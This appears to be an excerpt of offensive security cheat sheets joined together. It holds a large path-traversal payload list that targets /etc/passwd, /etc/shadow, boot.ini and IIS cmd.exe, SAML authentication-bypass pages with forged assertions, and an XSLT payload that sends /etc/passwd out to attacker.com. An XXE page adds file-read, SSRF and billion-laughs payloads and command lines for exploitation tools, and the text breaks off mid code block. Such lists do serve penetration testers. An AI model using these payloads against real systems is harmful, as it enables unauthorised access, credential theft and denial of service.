%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39
..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\
..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\
..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\
..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\
..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\
..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c
%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c
%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c
%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c
../../../../../../../../../etc/passwd
../../../../../../../../etc/passwd
../../../../../../../etc/passwd
../../../../../../etc/passwd
../../../../../etc/passwd
../../../../etc/passwd
../../../etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34
../../../.htaccess
../../.htaccess
../.htaccess
.htaccess
././.htaccess
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73
%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73
%2e%2e%2f%2e%68%74%61%63%63%65%73%73
%2e%68%74%61%63%63%65%73%73
%2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33
%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33
%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33
%%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33
../../../../../../../../../../../../etc/hosts%00
../../../../../../../../../../../../etc/hosts
../../boot.ini
/../../../../../../../../%2A
../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../etc/shadow%00
../../../../../../../../../../../../etc/shadow
/../../../../../../../../../../etc/passwd^^
/../../../../../../../../../../etc/shadow^^
/../../../../../../../../../../etc/passwd
/../../../../../../../../../../etc/shadow
/./././././././././././etc/passwd
/./././././././././././etc/shadow
\..\..\..\..\..\..\..\..\..\..\etc\passwd
\..\..\..\..\..\..\..\..\..\..\etc\shadow
..\..\..\..\..\..\..\..\..\..\etc\passwd
..\..\..\..\..\..\..\..\..\..\etc\shadow
/..\../..\../..\../..\../..\../..\../etc/passwd
/..\../..\../..\../..\../..\../..\../etc/shadow
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
.\\./.\\./.\\./.\\./.\\./.\\./etc/shadow
\..\..\..\..\..\..\..\..\..\..\etc\passwd%00
\..\..\..\..\..\..\..\..\..\..\etc\shadow%00
..\..\..\..\..\..\..\..\..\..\etc\passwd%00
..\..\..\..\..\..\..\..\..\..\etc\shadow%00
%0a/bin/cat%20/etc/passwd
%0a/bin/cat%20/etc/shadow
%00/etc/passwd%00
%00/etc/shadow%00
%00../../../../../../etc/passwd
%00../../../../../../etc/shadow
/../../../../../../../../../../../etc/passwd%00.jpg
/../../../../../../../../../../../etc/passwd%00.html
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini
\\&apos;/bin/cat%20/etc/passwd\\&apos;
\\&apos;/bin/cat%20/etc/shadow\\&apos;
../../../../../../../../conf/server.xml
/../../../../../../../../bin/id|
C:/inetpub/wwwroot/global.asa
C:\inetpub\wwwroot\global.asa
C:/boot.ini
C:\boot.ini
../../../../../../../../../../../../localstart.asp%00
../../../../../../../../../../../../localstart.asp
../../../../../../../../../../../../boot.ini%00
../../../../../../../../../../../../boot.ini
/./././././././././././boot.ini
/../../../../../../../../../../../boot.ini%00
/../../../../../../../../../../../boot.ini
/..\../..\../..\../..\../..\../..\../boot.ini
/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini
\..\..\..\..\..\..\..\..\..\..\boot.ini
..\..\..\..\..\..\..\..\..\..\boot.ini%00
..\..\..\..\..\..\..\..\..\..\boot.ini
/../../../../../../../../../../../boot.ini%00.html
/../../../../../../../../../../../boot.ini%00.jpg
/.../.../.../.../.../
..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

```


# SAML Injection

> Security Assertion Markup Language (SAML) is an open standard that allows security credentials to be shared by multiple computers across a network. When using SAML-based Single Sign-On (SSO), three distinct parties are involved. There is a user (the so-called principal), an IDentity Provider (IDP), and a cloud application Service Provider (SP). - centrify

## Summary

* [Tools](broken://pages/nhIXQgrQIdeDdhrpGNXX)
* [Authentication Bypass](broken://pages/nhIXQgrQIdeDdhrpGNXX)
  * [Invalid Signature](broken://pages/nhIXQgrQIdeDdhrpGNXX)
  * [Signature Stripping](broken://pages/nhIXQgrQIdeDdhrpGNXX)
  * [XML Signature Wrapping Attacks](broken://pages/nhIXQgrQIdeDdhrpGNXX)
  * [XML Comment Handling](broken://pages/nhIXQgrQIdeDdhrpGNXX)
  * [XML External Entity](broken://pages/nhIXQgrQIdeDdhrpGNXX)
  * [Extensible Stylesheet Language Transformation](broken://pages/nhIXQgrQIdeDdhrpGNXX)

## Tools

* [SAML Raider - Burp Extension](https://github.com/SAMLRaider/SAMLRaider)
* [SAML Support - ZAP Addon](https://www.zaproxy.org/docs/desktop/addons/saml-support/)

## Authentication Bypass

A SAML Response should contain the `<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"`.

### Invalid Signature

Signatures which are not signed by a real CA are prone to cloning. Ensure the signature is signed by a real CA. If the certificate is self-signed, you may be able to clone the certificate or create your own self-signed certificate to replace it.

### Signature Stripping

> \[...]accepting unsigned SAML assertions is accepting a username without checking the password - @ilektrojohn

The goal is to forge a well formed SAML Assertion without signing it. For some default configurations if the signature section is omitted from a SAML response, then no signature verification is performed.

Example of SAML assertion where `NameID=admin` without signature.

```xml
<?xml version="1.0" encoding="UTF-8"?>
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" Destination="http://localhost:7001/saml2/sp/acs/post" ID="id39453084082248801717742013" IssueInstant="2018-04-22T10:28:53.593Z" Version="2.0">
    <saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" Format="urn:oasis:names:tc:SAML:2.0:nameidformat:entity">REDACTED</saml2:Issuer>
    <saml2p:Status xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol">
        <saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
    </saml2p:Status>
    <saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" ID="id3945308408248426654986295" IssueInstant="2018-04-22T10:28:53.593Z" Version="2.0">
        <saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">REDACTED</saml2:Issuer>
        <saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameidformat:unspecified">admin</saml2:NameID>
            <saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
                <saml2:SubjectConfirmationData NotOnOrAfter="2018-04-22T10:33:53.593Z" Recipient="http://localhost:7001/saml2/sp/acs/post" />
            </saml2:SubjectConfirmation>
        </saml2:Subject>
        <saml2:Conditions NotBefore="2018-04-22T10:23:53.593Z" NotOnOrAfter="2018-0422T10:33:53.593Z" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml2:AudienceRestriction>
                <saml2:Audience>WLS_SP</saml2:Audience>
            </saml2:AudienceRestriction>
        </saml2:Conditions>
        <saml2:AuthnStatement AuthnInstant="2018-04-22T10:28:49.876Z" SessionIndex="id1524392933593.694282512" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
            <saml2:AuthnContext>
                <saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef>
            </saml2:AuthnContext>
        </saml2:AuthnStatement>
    </saml2:Assertion>
</saml2p:Response>
```

### XML Signature Wrapping Attacks

XML Signature Wrapping (XSW) attack, some implementations check for a valid signature and match it to a valid assertion, but do not check for multiple assertions, multiple signatures, or behave differently depending on the order of assertions.

* XSW1 – Applies to SAML Response messages. Add a cloned unsigned copy of the Response after the existing signature.
* XSW2 – Applies to SAML Response messages. Add a cloned unsigned copy of the Response before the existing signature.
* XSW3 – Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion before the existing Assertion.
* XSW4 – Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion within the existing Assertion.
* XSW5 – Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed at the end of the SAML message.
* XSW6 – Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed after the original signature.
* XSW7 – Applies to SAML Assertion messages. Add an “Extensions” block with a cloned unsigned assertion.
* XSW8 – Applies to SAML Assertion messages. Add an “Object” block containing a copy of the original assertion with the signature removed.

In the following example, these terms are used.

* FA: Forged Assertion
* LA: Legitimate Assertion
* LAS: Signature of the Legitimate Assertion

```xml
<SAMLResponse>
  <FA ID="evil">
      <Subject>Attacker</Subject>
  </FA>
  <LA ID="legitimate">
      <Subject>Legitimate User</Subject>
      <LAS>
         <Reference Reference URI="legitimate">
         </Reference>
      </LAS>
  </LA>
</SAMLResponse>
```

In the Github Enterprise vulnerability, this request would verify and create a sessions for `Attacker` instead of `Legitimate User`, even if `FA` is not signed.

### XML Comment Handling

A threat actor who already has authenticated access into a SSO system can authenticate as another user without that individual’s SSO password. This [vulnerability](https://www.bleepstatic.com/images/news/u/986406/attacks/Vulnerabilities/SAML-flaw.png) has multiple CVE in the following libraries and products.

* OneLogin - python-saml - CVE-2017-11427
* OneLogin - ruby-saml - CVE-2017-11428
* Clever - saml2-js - CVE-2017-11429
* OmniAuth-SAML - CVE-2017-11430
* Shibboleth - CVE-2018-0489
* Duo Network Gateway - CVE-2018-7340

Researchers have noticed that if an attacker inserts a comment inside the username field in such a way that it breaks the username, the attacker might gain access to a legitimate user's account.

```xml
<SAMLResponse>
    <Issuer>https://idp.com/</Issuer>
    <Assertion ID="_id1234">
        <Subject>
            <NameID>user@user.com<!--XMLCOMMENT-->.evil.com</NameID>
```

Where `user@user.com` is the first part of the username, and `.evil.com` is the second.

### XML External Entity

An alternative exploitation would use `XML entities` to bypass the signature verification, since the content will not change, except during XML parsing.

In the following example:

* `&s;` will resolve to the string `"s"`
* `&f1;` will resolve to the string `"f1"`

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Response [
  <!ENTITY s "s">
  <!ENTITY f1 "f1">
]>
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"
  Destination="https://idptestbed/Shibboleth.sso/SAML2/POST"
  ID="_04cfe67e596b7449d05755049ba9ec28"
  InResponseTo="_dbbb85ce7ff81905a3a7b4484afb3a4b"
  IssueInstant="2017-12-08T15:15:56.062Z" Version="2.0">
[...]
  <saml2:Attribute FriendlyName="uid"
    Name="urn:oid:0.9.2342.19200300.100.1.1"
    NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
    <saml2:AttributeValue>
      &s;taf&f1;
    </saml2:AttributeValue>
  </saml2:Attribute>
[...]
</saml2p:Response>
```

The SAML response is accepted by the service provider. Due to the vulnerability, the service provider application reports "taf" as the value of the "uid" attribute.

### Extensible Stylesheet Language Transformation

An XSLT can be carried out by using the `transform` element.

![http://sso-attacks.org/images/4/49/XSLT1.jpg](http://sso-attacks.org/images/4/49/XSLT1.jpg)\
Picture from <http://sso-attacks.org/XSLT_Attack>

```xml
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
  ...
    <ds:Transforms>
      <ds:Transform>
        <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
          <xsl:template match="doc">
            <xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
            <xsl:variable name="escaped" select="encode-for-uri($file)"/>
            <xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
            <xsl:variable name="exploitUrl"select="concat($attackerUrl,$escaped)"/>
            <xsl:value-of select="unparsed-text($exploitUrl)"/>
          </xsl:template>
        </xsl:stylesheet>
      </ds:Transform>
    </ds:Transforms>
  ...
</ds:Signature>
```

## References

* [SAML Burp Extension - ROLAND BISCHOFBERGER - JULY 24, 2015](https://blog.compass-security.com/2015/07/saml-burp-extension/)
* [The road to your codebase is paved with forged assertions - @ilektrojohn - March 13, 2017](http://www.economyofmechanism.com/github-saml)
* [SAML\_Security\_Cheat\_Sheet.md - OWASP](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/SAML_Security_Cheat_Sheet.md)
* [On Breaking SAML: Be Whoever You Want to Be - Juraj Somorovsky, Andreas Mayer, Jorg Schwenk, Marco Kampmann, and Meiko Jensen](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91-8-23-12.pdf)
* [Making Headlines: SAML - March 19, 2018 - Torsten George](https://blog.centrify.com/saml/)
* [Vulnerability Note VU#475445 - 2018-02-27 - Carnegie Mellon University](https://www.kb.cert.org/vuls/id/475445/)
* [ORACLE WEBLOGIC - MULTIPLE SAML VULNERABILITIES (CVE-2018-2998/CVE-2018-2933) - Denis Andzakovic - Jul 18, 2018](https://pulsesecurity.co.nz/advisories/WebLogic-SAML-Vulnerabilities)
* [Truncation of SAML Attributes in Shibboleth 2 - 2018-01-15 - redteam-pentesting.de](https://www.redteam-pentesting.de/de/advisories/rt-sa-2017-013/-truncation-of-saml-attributes-in-shibboleth-2)
* [Attacking SSO: Common SAML Vulnerabilities and Ways to Find Them - March 7th, 2017 - Jem Jensen](https://blog.netspi.com/attacking-sso-common-saml-vulnerabilities-ways-find/)
* [How to Hunt Bugs in SAML; a Methodology - Part I - @epi052](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
* [How to Hunt Bugs in SAML; a Methodology - Part II - @epi052](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)
* [How to Hunt Bugs in SAML; a Methodology - Part III - @epi052](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)


# XXE - XML External Entity

> An XML External Entity attack is a type of attack against an application that parses XML input and allows XML entities. XML entities can be used to tell the XML parser to fetch specific content on the server.

**Internal Entity**: If an entity is declared within a DTD it is called as internal entity.\
Syntax: `<!ENTITY entity_name "entity_value">`

**External Entity**: If an entity is declared outside a DTD it is called as external entity. Identified by `SYSTEM`.\
Syntax: `<!ENTITY entity_name SYSTEM "entity_value">`

## Summary

* [Tools](broken://pages/6BpalZS3fL0s1lLOflaH)
* [Detect the vulnerability](broken://pages/6BpalZS3fL0s1lLOflaH)
* [Exploiting XXE to retrieve files](broken://pages/6BpalZS3fL0s1lLOflaH)
  * [Classic XXE](broken://pages/6BpalZS3fL0s1lLOflaH)
  * [Classic XXE Base64 encoded](broken://pages/6BpalZS3fL0s1lLOflaH)
  * [PHP Wrapper inside XXE](broken://pages/6BpalZS3fL0s1lLOflaH)
  * [XInclude attacks](broken://pages/6BpalZS3fL0s1lLOflaH)
* [Exploiting XXE to perform SSRF attacks](broken://pages/6BpalZS3fL0s1lLOflaH)
* [Exploiting XXE to perform a deny of service](broken://pages/6BpalZS3fL0s1lLOflaH)
  * [Billion Laugh Attack](broken://pages/6BpalZS3fL0s1lLOflaH)
* [Error Based XXE](broken://pages/6BpalZS3fL0s1lLOflaH)
* [Exploiting blind XXE to exfiltrate data out-of-band](broken://pages/6BpalZS3fL0s1lLOflaH)
  * [Blind XXE](broken://pages/6BpalZS3fL0s1lLOflaH)
  * [XXE OOB Attack (Yunusov, 2013)](broken://pages/6BpalZS3fL0s1lLOflaH)
  * [XXE OOB with DTD and PHP filter](broken://pages/6BpalZS3fL0s1lLOflaH)
  * [XXE OOB with Apache Karaf](broken://pages/6BpalZS3fL0s1lLOflaH)
* [Windows Local DTD and Side Channel Leak to disclose HTTP response/file contents](broken://pages/6BpalZS3fL0s1lLOflaH)
* [XXE in exotic files](broken://pages/6BpalZS3fL0s1lLOflaH)
  * [XXE inside SVG](broken://pages/6BpalZS3fL0s1lLOflaH)
  * [XXE inside SOAP](broken://pages/6BpalZS3fL0s1lLOflaH)
  * [XXE inside DOCX file](broken://pages/6BpalZS3fL0s1lLOflaH)
  * [XXE inside XLSX file](broken://pages/6BpalZS3fL0s1lLOflaH)
  * [XXE inside DTD file](broken://pages/6BpalZS3fL0s1lLOflaH)
* [XXE WAF Bypass via convert character encoding](broken://pages/6BpalZS3fL0s1lLOflaH)

## Tools

* [xxeftp](https://github.com/staaldraad/xxeserv) - A mini webserver with FTP support for XXE payloads

  ```
  sudo ./xxeftp -uno 443
  ./xxeftp -w -wps 5555
  ```
* [230-OOB](https://github.com/lc/230-OOB) - An Out-of-Band XXE server for retrieving file contents over FTP and payload generation via <http://xxe.sh/>

  ```
  $ python3 230.py 2121
  ```
* [XXEinjector](https://github.com/enjoiz/XXEinjector) - Tool for automatic exploitation of XXE vulnerability using direct and different out of band methods

  ```bash
  # Enumerating /etc directory in HTTPS application:
  ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl
  # Enumerating /etc directory using gopher for OOB method:
  ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
  # Second order exploitation:
  ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt
  # Bruteforcing files using HTTP out of band method and netdoc protocol:
  ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc
  # Enumerating using direct exploitation:
  ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
  # Enumerating unfiltered ports:
  ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
  # Stealing Windows hashes:
  ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes
  # Uploading files using Java jar:
  ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf
  # Executing system commands using PHP expect:
  ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls
  # Testing for XSLT injection:
  ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt
  # Log requests only:
  ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt
  ```
* [oxml\_xxe](https://github.com/BuffaloWill/oxml_xxe) - A tool for embedding XXE/XML exploits into different filetypes (DOCX/XLSX/PPTX, ODT/ODG/ODP/ODS, SVG, XML, PDF, JPG, GIF)

  ```
  ruby server.rb
  ```
* [docem](https://github.com/whitel1st/docem) - Utility to embed XXE and XSS payloads in docx,odt,pptx,etc

  ```
  ./docem.py -s samples/xxe/sample_oxml_xxe_mod0/ -pm xss -pf payloads/xss_all.txt -pt per_document -kt -sx docx
  ./docem.py -s samples/xxe/sample_oxml_xxe_mod1.docx -pm xxe -pf payloads/xxe_special_2.txt -kt -pt per_place
  ./docem.py -s samples/xss_sample_0.odt -pm xss -pf payloads/xss_tiny.txt -pm per_place
  ./docem.py -s samples/xxe/sample_oxml_xxe_mod0/ -pm xss -pf payloads/xss_all.txt -pt per_file -kt -sx docx
  ```
* [otori](http://www.beneaththewaves.net/Software/On_The_Outside_Reaching_In.html) - Toolbox intended to allow useful exploitation of XXE vulnerabilities.

  ```
  python ./otori.py --clone --module "G-XXE-Basic" --singleuri "file:///etc/passwd" --module-options "TEMPLATEFILE" "TARGETURL" "BASE64ENCODE" "DOCTYPE" "XMLTAG" --outputbase "./output-generic-solr" --overwrite --noerrorfiles --noemptyfiles --nowhitespacefiles --noemptydirs 
  ```

## Detect the vulnerability

Basic entity test, when the XML parser parses the external entities the result should contain "John" in `firstName` and "Doe" in `lastName`. Entities are defined inside the `DOCTYPE` element.

```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>
```

It might help to set the `Content-Type: application/xml` in the request when sending XML payload to the server.

## Exploiting XXE to retrieve files

### Classic XXE

We try to display the content of the file `/etc/passwd`

```xml
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>
```

```xml
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
```

```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
```

```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
```

:warning: `SYSTEM` and `PUBLIC` are almost synonym.

```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>
```

### Classic XXE Base64 encoded

```xml
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
```

### PHP Wrapper inside XXE

```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
  <contact>
    <name>Jean &xxe; Dupont</name>
    <phone>00 11 22 33 44</phone>
    <address>42 rue du CTF</address>
    <zipcode>75000</zipcode>
    <city>Paris</city>
  </contact>
</contacts>
```

```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3" >
]>
<foo>&xxe;</foo>
```

### XInclude attacks

When you can't modify the **DOCTYPE** element use the **XInclude** to target

```xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```

## Exploiting XXE to perform SSRF attacks

XXE can be combined with the [SSRF vulnerability](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery) to target another service on the network.

```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >
]>
<foo>&xxe;</foo>
```

## Exploiting XXE to perform a deny of service

:warning: : These attacks might kill the service or the server, do not use them on the production.

### Billion Laugh Attack

```xml
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
```

### Yaml attack

```xml
